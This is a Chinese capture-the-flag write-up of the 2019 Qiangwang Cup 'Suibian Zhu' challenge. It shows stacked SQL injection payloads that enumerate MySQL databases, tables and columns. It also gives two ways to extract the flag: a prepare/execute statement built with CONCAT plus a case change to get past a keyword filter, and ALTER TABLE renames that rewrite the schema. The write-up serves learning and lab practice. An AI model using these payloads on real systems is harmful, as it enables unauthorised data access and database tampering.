[强网杯 2019]随便注
知识点
- 堆叠注入
- 预编译
原理参考堆叠注入详解
打开题目,如图所示
尝试
-1' union select 1,2#
发现select被禁
尝试堆叠注入
查库
1';show databases;#
查表
1';show tables;#
查1919810931114514表的列名
1';show columns from `1919810931114514`#
这里表名使用反引号进行包含
应该就是从1919810931114514中查flag
查words表的列名
1';show columns from words;#
两种方式查flag
第一种 预编译
来自2019强网杯"随便注"学习
需要执行的目标语句为
select * from `1919810931114514`;
预编译相关语法如下
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
payload
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;# 即 -1'; set @sql = CONCAT('se','lect * from `1919810931114514`;'); prepare stmt from @sql; EXECUTE stmt; #
回显
strstr($inject, "set") && strstr($inject, "prepare")
strstr无法区分大小写,用大小写绕过
-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;# 即 -1'; Set @sql = CONCAT('se','lect * from `1919810931114514`;'); Prepare stmt from @sql; EXECUTE stmt; #
第二种 重命名
猜测后台查询语句为
select * from words where id = '';
将1919810931114514表名改为words,flag列名改为id,这样后台从words表里查询id时,实际上查的是1919810931114514表的flag
改名语法如下
修改表名(将表名user改为users)
alter table user rename to users;
修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);
payload
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# 拆分开来如下 1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50); #
最后获取flag
1' or 1=1#